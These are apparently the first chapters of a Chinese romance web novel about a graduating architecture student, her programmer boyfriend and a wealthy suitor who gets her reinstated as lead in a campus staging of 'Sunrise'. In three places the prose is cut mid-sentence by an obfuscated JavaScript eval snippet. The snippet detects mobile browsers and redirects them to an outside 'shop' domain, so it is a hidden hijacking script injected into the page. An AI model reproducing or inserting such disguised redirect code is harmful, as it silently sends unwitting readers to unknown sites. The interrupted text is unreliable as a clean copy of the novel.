《不可能三角》 1. 校花 季桃站在J大东门口等邹巡的时候,停在路边一辆宾利冲她滴了两声,还没等车里的人探出身,季桃扭头走开。 她后悔出来早了,又把见面地点选在东门:J大东门斜对面,一条马路之隔,是所音乐学院,学校里美女众多,一到周末,校门前马路边上就停满了豪车,有些车停不下或不好调头,就停在他们J大门前,惹得出入的理工学子们又是鄙夷又是艳羡。 今天才周三,不过已是期末,大概有些人考完一门,准备出去放松或庆祝。 季桃觉得自己最有资格“放松”,今天下午,她圆满通过了毕业答辩。她学建筑,要念五年。五年呀,终于毕业了,可不该好好轻松轻松。 所以,关掉PPT,走出教室,头一件事就是给邹巡发语音,说“晚上庆祝一下。”邹巡马上回了一个呲牙笑:好。给你开香槟。 “我要吃麻辣烫。你下班直接去东门。”她还是用语音。 想象邹巡的手机在工位上一震,想象他把手机贴在耳边,听见她得意洋洋的声音,想象他无可奈何地嘀咕:“又是麻辣烫。” 邹巡五点下班,乘地铁,再走一段,六点应该能到。差不多还有十五分钟吧,季桃心里高兴,倒不介意等十来分钟,可刚才滴她的宾利什么意思,该不会当她故意站那儿?——你前头还有辆揽胜呢,我就不能是看它?你比它贵,我也看它。 这样想着,季桃已经走出十几步,立住,回头一看,宾利车上下来那人瞧着面熟。对方单手插兜,一面摘掉墨镜挂在领口,一面晃晃悠悠迎着她走来。 原来是窦意鸣,真没想到他还开宾利。上次见他,是辆保时捷超跑,富家子嘛,换车不稀奇,这回大概是奉女朋友之令吧。奶油白宾利,还挺好看。 “你换——”季桃不想显出对他的车有什么印象,笑着改口,“音乐学院还没下课啊,这回是声乐还是器乐?” 窦意鸣笑呵呵答:“真不是,就咱们学校的。袁楚欣,认不认识?经管学院的,开学大二,她那届的校花。” 名字季桃确实听过,但至今没见过其人,近两年她忙着实习、毕设等事,泡在校区的时间不多,对学妹们可不太了解。 不过,窦意鸣也不看看自己,毕业两年,二十四五了,又去骗大二的小妹妹? 季桃正要笑他,又听窦意鸣说:“逗你的,袁楚欣是我一个哥们的女朋友,别误会别误会。” 逗我干嘛,我吃你逗?季桃更要笑。 “她最多像个小明星,那哥们没见过世面。”窦意鸣晃晃留侧背发型的脑袋,“你不一样,你是艺术家。要我说,咱们学校这几年,除了你,就没出过真正的校花。” 窦意鸣吹捧人真够麻的。当然听了挺高兴,但季桃摆手说:“得了吧,美女年年有。”并非假谦虚——刚上大一不久,她听闻有人评她是“校花”之一,还好奇另几个是谁、什么模样,如今早就不放在心上了。马上毕业,谁还在乎那些事?想到可能如她当年的学妹,她颇有一种江湖前辈的大度、宽容。 窦意鸣正色说:“我其实是等你,正想着你呢,你就出来了。” “我有男朋友了。”季桃又一次认真告诉他。 “我知道,不就是男朋友嘛,没领证吧?没领就没关系,我等你,要是和他分手了,来找我。为了你,我甘作备胎。”窦意鸣豪迈地说。 季桃一点儿都不信他的话,她也不需要备胎。可是,经窦意鸣这一提,她猛然想起,原本只想谈一场校园恋爱,毕业就分手,怎么把这事忘干净了? “怎么样,考虑一下吧?”窦意鸣见她不吭声,嬉皮笑脸地说。 “想不想见见,我男朋友马上就来了。”季桃笑道。 “什么人呀,这么大谱,让你等他?”窦意鸣夸张地叫唤。 季桃不愠不恼:“他上班了,谁像你这么有福,天天放假。” “他在哪儿高就?” 季桃说出公司名字。是家做智能VR产品的公司,成立不到五年,一年前在纳斯达克上市,窦意鸣说不定听过。这家公司一般只招顶尖学校的毕业生,邹巡研究生还没毕业,但他原先在另一家公司上班时与他们合作过,人家主动挖他去,破格让他做个“编外”实习员工,等毕业就转正。他可不是依靠父母的草包。季桃心想。 可惜,对牛弹琴。窦意鸣没有露出肃然起敬的表情,他说:“伏线科技,知道,我认识他们老板。” 季桃目光清亮,看着他,窦意鸣不好意思地挠挠头:“其实是我妈认识。” “你家不是做钢材生意吗?” “那是我爸,我妈和他离了之后,转行搞医用设备了,沾点儿高科技。” 季桃羡慕窦意鸣能把父母离婚说得这么轻松,对他来说,可能还是好事——双份的零花钱。 窦意鸣嘿嘿笑了笑:“想打听点内部消息不?我妈前几天刚和他们那什么刘总吃过饭。” “怎么了,你妈想把你塞进去?” “不不,干不了,咱有自知之明。”窦意鸣说,仿佛有点害臊,又说,“其实今天就是等我妈,她来学校办点事,非要我跟着来,我不想进去,不过想着可能能碰见你,你看果然,巧不巧?” 季桃听说过窦意鸣的母亲,她就是J大毕业的,所以把儿子也弄来念书。可惜,窦意鸣获得学位两年了,对于他那“能源经济”专业,大概不比六年前知道的更多。 原来窦意鸣是给妈妈当司机,难怪开了样子保守的车。 “那你快回车上吧。”季桃一笑,她可不愿被窦意鸣的母亲看见。 晚了。“意鸣——”一位女士走来。 季桃先认出了她的衣服。下午答辩完经过综合楼门口时,对面走来几个人,中间的女士穿着件米黄和浆果色间隔的竖条纹连衣裙,裙子漂亮,看得出是高级品牌,季桃不禁多瞧了两眼,再一看旁边是邹巡的导师项教授,几人边说话边往综合楼拐去了。当时她以为那位端庄优雅的女士是新来的老师,因为听到他们在聊“实验室”。 原来是窦意鸣的妈妈,看着可真年轻。 窦意鸣大大方方介绍:“季桃,学妹,建筑系的。冯女士,我母上大人。” 两名女性互相微笑,季桃掩住惊讶,说:“阿姨好。” 怪不得像教授,原来是企业家。冯女士妆容干练、知性,眉毛画得稍稍平直,涂豆沙色唇膏,不管做教授还是企业家,肯定都是新锐派。——想必她当年,才是当之无愧的校花吧。 不过女强人到底是严厉的,季桃感觉出对方眼底冰冷的审视。今天为了答辩,她规规矩矩穿了件衬衫裙,裙长在膝盖下一寸,大概不至于让冯女士挑眼。挑眼也不怕,季桃在心里暗笑,我又不是你儿子的女朋友。 可是,窦意鸣似乎觉得她特别拿得出手,滔滔不绝地向母亲说:“季桃学习好,哪一门课都没下过九十五,刚毕业,优秀毕业生……” 季桃实在尴尬,正要打断窦意鸣脱身,恰好,看见了邹巡。 邹巡走路也喜欢单手插裤兜,但和窦意鸣完全两个味道,瞧见季桃,他把手拿出来,冲她摇了摇。 “我男朋友来了。”季桃轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924015|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道歉。闻言,窦意鸣立即扭头望去,冯女士跟着也转过头。 季桃不及告辞,只好和他们一起看着几步之外挺拔的身影,她心里再一次感到奇怪的激动:邹巡穿着条卡其布裤子,烟灰T恤,T恤胸前有只大椰子,椰子上方围着半圈鲜黄的字母。衣服全是她为他挑选的,当然好看;而且不贵,一身才三百,和他肩上挂的亮蓝阿迪一个价钱。这六百块在他身上真是值了,特别好看。邹巡走过来,鲜衣怒马,剑胆琴心——只有这几个字可以形容。 季桃甚至感觉冯女士都被“震”了一下。当然,肯定是夸张了,季桃笑自己。邹巡还不至于说帅得真能够惊天地泣鬼神,不过,他就是说不出的好看,无论何时何处,他都是人群中最耀目的一个。 走近时,邹巡不失礼貌地看了窦意鸣母子二人一眼,立即站到季桃身边,伸手抚住她肩膀。 窦意鸣的脸变了变,季桃知道,他心里是服了,但依他的性子,大概还要在嘴上找个补。窦意鸣嘴巴刚要动,他妈妈先开了口。 “季桃同学,”冯女士郑重又亲热地说,“窦意鸣不争气,有你给他做个榜样就好了。来家里玩啊,”她微笑着朝邹巡一望,又转过脸面对季桃,“请你男朋友一起来,大家热闹。” 季桃和邹巡并立着,看他们上了白色宾利。 “又是一个追你的?”邹巡问季桃。 这次语气不一样,虽然掩盖得很好,季桃还是听出来了,他当真有几分疑惑。 可能是那辆宾利,而且,还有对方的母亲在场。难怪邹巡要警觉。 季桃暗自里想过,真要把追她的人挨个排,窦意鸣确实能排最前头几个。首先,他是个不折不扣的富家公子,起码在她见过的少爷中,窦意鸣是最富的;其次,窦意鸣追她也算是认真,至少以风流阔少今日东明日西的脾性来讲,他称得上认真;再次,窦意鸣性格好,从不死缠烂打,也从不趾高气昂,不管给他什么脸色,他总拿一副笑脸回应;何况,他长得还不讨厌——瘦身板,白白净净,看着略有点油,但不过分。 因为这些缘故,她始终留着窦意鸣的电话和各种社交账号,偶尔也回复他一半句。 季桃看看邹巡。惹他吃些小醋,为两人感情加点别样滋味,她最拿手了。可今天,她不愿邹巡胡思乱想。 她假装不开心:“什么叫‘又‘?和你在一起后,根本没人敢追我,都知难而退了。” “他之前追过你?”邹巡追问。 “好久以前。我大一那会儿吧,他比我高两级,已经毕业了。”季桃重重说那个“好久”。意思是早在她认识邹巡之前了,陈芝麻烂谷子,谁愿意再提。 “大一的时候?”邹巡声音不太高兴,果然,他又问,“你认识他妈妈?” “今天第一次碰见。你没来之前,他妈妈眼神可凶了,等发现我有男朋友,才那么热情。——所以,你着急什么,人家根本看不上我。” 刚说完,季桃一转念,不对,妈妈对她“凶”,不正说明做儿子的“痴情”吗,赶紧打岔:“你不知道,特别巧,我答辩完出来正好看见你们导师和他妈妈说话,我听见说实验室,还以为新来的老师呢,要是她当老师,上课的人肯定超多。” “估计是谈赞助吧,为我们导师那个创意实验室。” 创意实验室的事季桃知道,邹巡也参与了策划,不过学校只能拨一半经费,其余要教授自己想办法。 看来实验室能马上建起来了,季桃以为邹巡会高兴,可他似乎不大愿意多说。 “答辩很顺利吧?”他问。 2. 女主角 冷气开得很足,季桃裹在纱布凉被中,舒服地翻了个身,脚向旁边伸了伸,又一探,奇怪,床怎么变大了? 对了,她不在宿舍,是在邹巡这儿。 邹巡已经起床了,季桃翻个身,滚到他躺过的位置。 卧室门没关严,隐约听到邹巡在客厅走动。 不仅走动,还有说话:“我肯定要和她结婚。” 话音不大,但“结婚”二字令季桃一下张大眼睛,又赶快闭上,支起耳朵去听。邹巡的声音时响时止,间隔着,一句句传来:“没有,我还没问,过几天。对,刚毕业,太早了,可能不愿意。她想什么时候就什么时候。”忽地提高声音,“和钱没关系,就是她还小。你们别操心了,这是我自己的事。不麻烦,到时都能处理好。” “哥哥怎样?”他转了个话题。 邹巡的父母催他快点结婚? 季桃全醒了,但她还继续装睡。几分钟后,邹巡走进房间,把她挂在床沿的小腿轻轻向里放了放。 季桃转转头,眼睛在发丝下睁开,嘟嘟哝哝问:“几点了?” “七点三十九。”邹巡说时间总是很精确。 “你上班去?” 邹巡俯身,拨开头发,带着剃须水味道的嘴唇压在她脸上。“要不在家陪你?” “快去吧,我等下还去排演呢。” 邹巡嘴唇又重重压了几下,“早餐在桌上,凉了你再热热。” 听见大门关严,季桃呆呆望着天花板。 学校不允许本科生在外住宿,但到了临毕业一两年,学生们已经找到各种办法钻空子。季桃平时还算比较遵守规定,一般只有周末和假期在邹巡租的房子留宿,不过,昨晚…… 该怪麻辣烫。放那么多辣椒,大多数人都会嘶嘶抽气,模样狼狈,但季桃知道自己的样子绝不难看。辣椒让她面颊发红,眼睛湿润,嘴唇更是红乎乎的。不爱吃辣的邹巡甘心情愿陪着她,只吃一点儿,他的眼角就红了,干脆看她吃,过一会儿,眼角的红色弥漫开,一直漫到耳根,他的耳朵也红了。 季桃和邹巡的初吻,就发生在一次麻辣烫之后。吃饭时,邹巡不说话,愣愣瞧着她,饭后,在林荫路上散步,邹巡还是不说话,走到尽头时,忽地把季桃拉到一棵树下,转身抱住她。 麻辣烫到底不大健康,而且,也不便宜,于是,季桃大部分时候老老实实在食堂吃饭,只有需要“庆祝”时,才去吃次麻辣烫。 昨天,吃完饭还不想分开,何况下周话剧社团毕业演出,她得练戏,邹巡这儿比宿舍方便走位。练完天晚了,邹巡不放她回去。 “你不是说庆祝一下?”他说。 初吻时,他还笨笨拙拙的,现在,则是“他真会”了。季桃全身发热,被子却向身上裹了裹。 谁知怎地又睡着了。九点钟,季桃才从床上跳下来,今天还有排演。 她快速洗脸刷牙。邹巡租的这间两居室里有百分之二十的物品是她的,但从视觉上,足占据了百分之八十的面积。季桃一直以为自己是个整洁的女生,可她总爱把邹巡的屋子搞得乱乱的,乱七八糟中只有一点秩序——她的牙刷和他的并立在一起。 邹巡整洁,但不介意她散乱。他只管催她正式搬过来。 他说:“你只要说一声,我去搬,你什么都不用管。” 他还说:“不要紧的东西就扔了,别心疼,给你买新的。” 这么爱她的纯情的程序员,她怎么能和他分手? 可是,怎么办?谁能想到邹巡已经在考虑结婚! 季桃赶去礼堂。 大一时她便加入了学校的话剧社团,参演过两三出戏,不过那时她是新人,总是自觉挑选配角,到了大三才演过一回女主,大四大五,新鲜劲过去,忙着学业,忙着恋爱,忙着实习找工作,参加社团活动便少了。大五第二学期,社团老师给她打电话,请她演《日出》中的陈白露。 季桃很兴奋。这次是毕业演出,规模和意义都不同一般;而且,是陈白露呀,不单是女主角,是主角,真正的主角,剧中男角色没有一个可以匹敌的。最重要的是,季桃喜欢陈白露,她认为自己能够演好。 听到这件事头一晚,邹巡就读了《日出》,第二天,季桃大言不惭问他:“你看我像不像陈白露?” 邹巡用务实的眼光打量她一会儿,说:“像。”可他又犹豫着说,“陈白露最后不是……” “我们这个是《日出》新编,Happyending,陈白露最后和方达生在一起了。” 邹巡笑起来:“那就好,我坐前排看。” 距演出还有最后一周,天天都要排演,不得请假。不过导演对季桃的表现挺满意了,私下跟她说,要是有事,晚到一会儿不要紧。 有事的时候季桃都尽量准时,今天没事,反而晚了。走进礼堂,看见导演吴老师冲她走来,季桃做好了挨批的准备。吴老师把她堵在过道,说:“王云婷有事必须请假,演不了翠喜了。要不你替她?” 季桃一愣:“我没背过翠喜的台词啊。” 吴老师笑着说:“这不是问题,你这么聪明,记几句台词算什么?你今天就回去背几遍,明天我们排。” 季桃有点儿动心,以前她还分饰过三个小角色呢,陈白露的词她很熟了,再加一个翠喜,或许真可以,既然老师信任…… “可是,”她想起一件事,“陈白露和翠喜的戏是连着两幕,中间要换妆来不及吧,总不能只换衣服?” 吴老师顿了顿:“我的意思是,你来演翠喜,陈白露让别人演。” 谁?季桃想问,却没张开口,她瞪着吴老师,没等到解释,不自觉向舞台望去,这才发现,在客厅布景的舞台中央,站着个女生,新来的女生——新的陈白露。 吴老师将季桃往一旁拉了拉,向台上努努嘴,悄声说:“大一的,进社团有一年了,我想着培养几个新人嘛,别你一走,没人能演了。” “她都没排过。” “她背过台词了,还有几天,来得及。” “怎么不让她演翠喜?”季桃问。 “翠喜的戏难演,前后变化大,她演不出那个味。” 在她们改编的戏中,翠喜这个原先近乎麻木的妓女因为对“小东西”深深同情,愤起反抗,并且成功救出了“小东西”,戏份确实不少。但是,翠喜不是陈白露,不是主角。 季桃说:“我也演不出那个味,我只能演陈白露。” “肯定可以,你都演了几年了嘛。” “要不然,我们现在来演,老师你觉得谁好,就挑谁。” 对,各凭业务。假如台上那个也把人艺老师们的表演看过几十遍倒背如流,假如她也每天几个小时对着镜子琢磨表情练台词,假如她演得更好,季桃没话说,还要给她鼓掌。 吴老师皱着愁眉:“我就是给你们排个戏,有些事也不是我一个就能决定的。” 这时,台上的“陈白露”开口了:“不是光靠长相就能演陈白露,得有那个气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924016|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。陈白露高雅,翠喜粗俗,谁像就谁演,对不对?”她的声音高,嗓子亮,至少这几句话说得是字正腔圆,从麦克风中清晰地传出来。 季桃看过去,说话的人瘦瘦高高,长得挺漂亮,眼睛又大又黑,不过也可能是眼影。远远的,季桃看见对方的尖下巴一抬,一双大黑眼睛向她瞪着。 季桃想冲上去,吴老师拉住她:“季桃,算了,算了。你马上走上社会了,将来事情还多呢,每个都计较,计较不过来。” 其他演员,平时和季桃搭戏常常夸赞她,昨天还一起有说有笑的,此时都呆呆站着,没有一个人出来说话。 季桃泄了气:“正好,我那天也有事,本来正发愁安排不过来,我不用演了刚好。对不起,翠喜的演员请老师另找吧。” 不等回答,季桃快步走出礼堂。 三个舍友都不在,宿舍这时候空无一人,刚好,季桃不想说话,抱膝坐在床上。 演出是周五下午三点,邹巡本来是要上班,但他说可以请假。 “都等不及了。”他说。他还要坐在前排呢。 邹巡一冲动,大概会找老师据理力争,可是又能改变什么?她不愿邹巡看她狼狈、失望,不愿邹巡为她难过。 她想,编个什么借口骗过邹巡,就说她不想演了,或者,有什么能让嗓子变哑的东西? 突然,她的手机收到一条消息。 季桃心一跳,拿起来看却是窦意鸣。他发来两句话:“我妈夸你呢,她从来不夸人,咱俩有戏。什么时候分手,我等着。” 要在平时,季桃删掉不理就算了,但今天,她要把窦意鸣狠狠拉黑。她的手指点上去,停住,停了两秒,拨通窦意鸣:“你少来烦人,要是再——” “哎哎哎,别急别急别急,对不起对不起,我错了。”窦意鸣一迭声叫唤,“我没别的意思,你好好的就行……” “好不好关你什么事?” “真分手了?”半晌,窦意鸣小心翼翼问。 “没有!”季桃狠狠地说,“我烦是因为他们不要我演陈白露,陈白露换给别人,让我演翠喜。” “什么陈白露?翠喜?”窦意鸣摸不着头脑。 “话剧社团要演的戏,曹禺的日出,你没听过?民国的事,陈白露和翠喜是里面的人物。”季桃不耐地解释。 “我明白了,陈白露是大小姐,翠喜是个丫环对吧。怎么能让你演丫环呢,谁定的演员,瞎了他的狗眼!”窦意鸣在电话那头大呼小叫,纵是季桃正难受,听见他瞎扯也差点笑出声,她没纠正窦意鸣,只觉得心里暖暖的。 窦意鸣还在继续说:“你放心你放心,谁敢不让你演陈白露,我让他这场戏都演不成!你看着,最后你要不是陈白露,我不姓窦!” 这会儿季桃心情好多了,连忙说:“你可别乱来,我就是说说,不用你管。这可能是领导的意思,怪不得老师,她够难办了。我已经和她说了,哪个我都不演,还有别人呢,那么多演员,都排了好久了。你别捣乱,这可是毕业演出,就这最后一次……”“毕业”二字令季桃喉头一哽,说不下去了。 窦意鸣声音严肃起来:“不会乱来,我还能炸了学校礼堂?你说什么就是什么,你要真有心演戏,还不得红得发紫?社团那个破戏,咱不稀罕演。” 和窦意鸣通完话,季桃心平气和多了,正要收拾收拾东西,响起来电铃声。 她的姑姑。 季桃的心掉进了冰窖里。不是姑姑,是姑姑可能说出的消息。 3. 钱的考虑 “小桃,忙着没?” “不忙,姑姑。怎么了?” “没事没事,都好着呢。”姑姑急忙说。 好几年了,季桃和姑姑创建并熟悉了这种对话。“都好着”意思是:爷爷奶奶身体还行,心情上至少也没变得更差;那个一方不会主动提起,另一方不得不提时、小声咕哝一句“你爸爸”的人,仍在正常服刑。 “什么时候上班,还回来一趟吗?”姑姑问。 “不回了,七月二十就去上班了,学校这边还有些事,来不及回去。”季桃只在寒假回舅舅家,年初三去探望爷爷奶奶。几个暑假,她在外面不停打工,没回过家乡。 寒暄几句,姑姑说:“我是来问问你,小萱想申请助学贷款,我怕她被骗了,你懂不懂啊?” 小萱是姑姑家的表妹,在外地上大一。姑姑家不富裕,因为要照顾爷爷奶奶,姑姑没法好好上班,全靠姑夫一人以及爷爷奶奶的一点儿退休金,爷爷奶奶的积蓄,大概全赔给受害人一家了。 对爸爸的“养育之恩”要不要报,季桃有明确的想法,但是,她不能忍心对爷爷奶奶不闻不问。小时候,她和他们生活过几年,童年的快乐她还记得很清楚。 姑姑缺钱就是爷爷奶奶缺,不能不管。 季桃说:“我也不太懂,反正不要办贷款吧。只是学费生活费的话,我这里有钱。我先转给她一万,下个月再转些。” “不不,姑姑不是问你要钱。就是问问看怎么一回事,几万块还拿得出……” “不是,姑姑,我马上上班就能领工资,我一个人花不了那么多。” 季桃好容易说服姑姑暂且接受。挂掉电话,她联系上表妹,转了钱,向后倒在床上。 真奇怪,昨天竟会为完成答辩高兴,怎么不想想,毕业了,再没有“上学”可做借口和庇护,很多问题会排山倒海而来。 不光有爷爷奶奶,还有外公外婆。上大学前几年,她一直住舅舅家,这份情难道不还? 还有妈妈。虽然妈妈嘴上不说,但她在澳大利亚肯定不容易。刚出去时她干导游,带了几年团,后来进了一家图书出版公司,妈妈喜欢这份工作,也算是做回了“本行”,其实出版业辛苦程度并不比导游低:手里没有大作家资源,只能不断发掘新人,想尽办法策划畅销书——中国人在澳洲“文化界”打拼的艰难可想而知。妈妈并不老,但也快五十了,以后该自己操心妈妈,不能再反过来让妈妈操心了。 妈妈不也说着玩似的对她推心置腹过吗:“季桃,你将来不一定非得结婚,假如要结,一定得有经济基础才行,可别被那种样子漂亮,又穷又多心眼的给骗了。” 邹巡算哪种人,长得好,穷?反正他肯定没太多心眼,至少,季桃相信,邹巡对自己是死心塌地的。 不是说,男人的钱花在哪儿,心就在哪儿?照这样看,邹巡的一颗心差不多全给她了。即便还只是实习员工,邹巡的薪水其实并不低,他又是生活简单的理工男,不抽烟不喝酒不赌球,不太在意穿着打扮,也就是付房租和买几件电子产品,本来是能剩下不少钱的,而且他之前还工作过几年,应该略有积蓄。但穷神总能找到法子上身——给你安排个女朋友吧,把钱花在女友身上,天下太平。 比如,女朋友回老家坐飞机,必须是商务舱,坐火车,坚持买一等座,她出门想乘地铁?不行,打车——“别在地底下被人乱挤,堵车的时候可以听歌玩游戏。” 比如,手机平板笔记本都给女朋友买最新最好的——“你要画图,用破电脑太影响效率。” 比如,送女朋友很贵的护肤品——“有用,你看你现在越来越漂亮了。”这就叫专攻薄弱的地方——都夸她变漂亮了,让她怎么狠下心说“不要”? 约会时吃呀玩呀的小花销不必一一列举,就算不约会,还不得给她买些零食、水果?——还不能只买一个人的,同舍室友都得兼顾到,这样,人家才会帮着说好话。 二十七八的邹巡,账户余额总是在小五位徘徊,该怪谁呢? 有时,季桃甜蜜又苦恼,想说“别买了”,但无论她绕着弯推辞还是直接拒绝,邹巡都会不高兴。他不是那种嘴皮子厉害,总是振振有词的人,不高兴的时候尤其不爱说话——仿佛侠客赌气,不肯飞出宝刀。只是他目光锋锐的眼睛会陡然变得沉静,分明是自尊心受挫的样子。 “钱随时可以赚。”他就这一句话。虽没有说到明处,但藏在后面的意思季桃能够明白:女朋友丢了就再也找不回来了。万一她在物质上受委屈,跑掉,找更有钱的男朋友,怎么办? 唉,假若她真的只看重物质,在碰到他之前,她早就有男朋友了。可是,能说她不看重物质吗?她的虚荣心重得很,要男朋友帅气、聪明、肯花钱……她什么都想要。 是啊,没有钱万万不行。财富这种东西,只能先拥有,再去满不在乎,她从来没拥有过,还想尝尝滋味呢。 那些以后再说,眼下,马上就毕业了,该如何? 季桃心乱如麻,今天早晨,邹巡和家人通电话时的几句话又响起在耳边。 其实,说邹巡“穷”,是和那些真正的富人比,在普通人当中,他家里条件应该算是还行的——从邹巡平时生活习惯看得出来。他有个亲哥哥,父母和哥哥都在美国——可能是哥哥定居后,把父母接去了,他的哥哥似乎挺能干。用邹巡的话说:“我爸妈和我哥在一块儿,他们懒得管我,也不让我管他们,有我哥呢。” 就只这些了。现在的年轻人,有几个愿意早早成家的?特别是谈校园恋爱,双方均心知肚明:若毕业后打算留在大城市打拼,结婚前且还有的考验呢,不急将对方家世打听那么细。她这边含含糊糊,邹巡也不怎么多讲。反正,她能感受出,邹巡在一个正常的中等家庭长大,他和父母的关系也是正常的,是不远不近,是刚刚好。 邹巡问过她,毕业后想不想去美国,她连忙摇头。不是不想去,关键她在美国能找到什么像样的工作,除非继续念书,念书的话,钱从哪里来,还是得依赖邹巡,那就要和他“定下来”。深层原因,她没有告诉邹巡,邹巡也不坚持,“反正搞软件,在哪儿都一样。”他大概也不想依靠哥哥和父母,他不喜欢依靠别人,哪怕是最亲的家人。 可是,从父母来说,肯定还是要操心儿子的终身大事,希望他在合适的年纪结婚,在无论国内国外的哪个城市安居乐业。这是很正常的想法。父母肯定还希望儿子找个家世清白、工作稳定、聪慧贤淑、会过日子的妻子,这也是很正常的想法。 问题是,她季桃哪一条够格? 他的父母大概在想:远隔重洋,别的忙都帮不上,只出个首付怕不够,或者凑足全款?这么多钱,在美国都能买套大house了,老大媳妇会不会多心? 不用谁多心,邹巡自己先一口回绝了。他做得对,两个人的事,为什么还要和父母扯上关系? 不过,是否接受经济帮助先不论,总不能连面都不见一回? 见面不易,可以先安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924017|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视频。想想看吧,季桃端端正正坐着,对着摄像头露出甜美的笑容。 “叔叔好,阿姨好,我……”——别说邹巡父母了,这一关,她自己给自己都过不了。 又想远了,季桃赶快把思绪拽回来。 事情很简单,她得和邹巡分手。原因也很简单——和钱无关,和家庭无关,和一切无关——她本来就只打算谈一场校园恋爱,毕业就分手。她只是有时把这件事忘了而已。 而现在,她想起来了,而且,毕业了。 季桃望着窗下一棵树。 . 邹巡追季桃,也使过老一套招数——在女生宿舍楼下站桩。 这招看似没有技术含量,实则要求男生有强大的心理素质,或者说,有很厚的脸皮,因为站在那儿,要遭所有出入的女生们斜眼打量、捂嘴窃笑、背后议论。 季桃就被好几人站过桩,他们大多是厚脸皮,季桃都觉得丢人,他们还巍然不动,有几回甚至堵得季桃不敢出门,只好请舍友替她买饭。 直到看见邹巡,季桃对这一行为的印象完全改观了。邹巡是有史以来在八号宿舍楼下站过的最帅的人。 每回季桃从窗户看见他,便急速冲下楼,还要假装惊讶:“你怎么在这儿?”邹巡则答:“我刚路过。你去哪儿?正好,一起去。” 不过那是后来了,最开始一次,季桃不知邹巡是等自己。她出了宿舍,看见邹巡,瞥了一眼,继续往前走,就在这几秒当中,她已经对邹巡等的那个人生出嫉妒之心。 走出几步,她回头又望一眼。邹巡还是站在原来的地方,不过方向变了,原本他面朝宿舍楼,现在,面朝着她。 一瞬间,难遏的欲望在她胸中张牙舞爪:她真切地感到容貌是武器,希望自己披坚执锐,能够攻城掠池——她要肆无忌惮把这个帅哥勾搭走。 不过,季桃没动。她马上满二十一岁了,分得清想象和现实,猜得到冲动的后果。 但她也没能马上离开。二十岁只有一次呀。 在她犹豫间,邹巡向她走来了。“季桃。”他叫她的名字,走到面前,说,“我叫邹巡,巡逻的巡。”他认真报了自己的名字,“我刚来,想先熟悉一下,韩老师说你能带我在学校里转转。” 季桃疑惑地看着对面的人,他不可能是新生。当然,肯定不是来上大一的,现在高考成绩都还没出呢。他也不像个研一新生,季桃下这个结论并不是说他不年轻了,他年轻明亮得像春天一样。主要是他身上有种沉稳劲儿,和校园里能见到的、不管脸上有没有青春痘的男生都不同——那天不久后,季桃知道他二十五岁,工作几年再读研的——当时,她只是不由有点儿畏缩,没能把自己的疑问一下子问出来。 季桃不发一言,看着他。 邹巡解释说:“项教授是我的导师,让我从这个假期就开始做课题,所以我提前来了。” 季桃立即明白了,他的确是准备念研究生。项教授是计算机某领域的专家,也是韩老师的丈夫。韩老师干的是行政岗,先前组织学校的迎新送旧工作,找过季桃一回,大概听见丈夫学生的诉求,又想到了她。 在那双黑眼睛的注视下,季桃有几分慌乱:“我没接到韩老师电话,你等了好久了?” “没多久。”邹巡笑笑,“我存了你的电话,但我怕打扰你。我等一会儿不要紧。” “我存了你的电话。”——这几个字多好听。 . 电话铃声响起,是社团吴老师。 4. BE or HE? 季桃看着手机屏幕。演出算什么,谁爱演谁演吧。但她想了想,还是接起来,说:“吴老师,实在对不起,我真的有事,我看胡睿可以演翠喜,要不你找她吧。” 吴老师说:“翠喜你不管了,你还演陈白露。” 季桃一愣,这么说窦意鸣真的想了办法,怎么这么快,这么见效? “陈白露不是有人演了吗?” “哎呀,那个同学不行。”吴老师完全换了口吻,“我和你实说,咱们话剧社都是别人给学校赞助,学校才给咱拨经费,现在人家赞助方看了视频,说她演得不行,他们也看了你的视频,说一定得你来演。” 学校社团的演出罢了,赞助方才没工夫看视频呢。说到底还是一个“钱”字,胜之不武。季桃感到没意思极了。 “吴老师,就让那个女生演吧,我真的不想演了。” “不行不行。”吴老师着急地说,“陈白露就是你,缺了陈白露,还能叫‘日出’?你可不能撂下不管啊,老师求你了。今天你好好休息,明天咱们再过一遍,一定来呀。” 季桃答应下来。现在,已经不是她一个人的事了。 放下电话,她立即给窦意鸣拨过去。 “你怎么办的?找了谁?” “成了?”窦意鸣大笑,“我跟你细说,你知道他们想用谁换你?就是上次我说那个袁楚欣,她不是我哥们的女朋友嘛,那哥们追她追好久,老念叨,给我耳朵念叨出茧子了。大概那女的想演,找我哥们,我哥们又找了谁,一捣鼓,就成她了。” “你早就知道了?”季桃问。 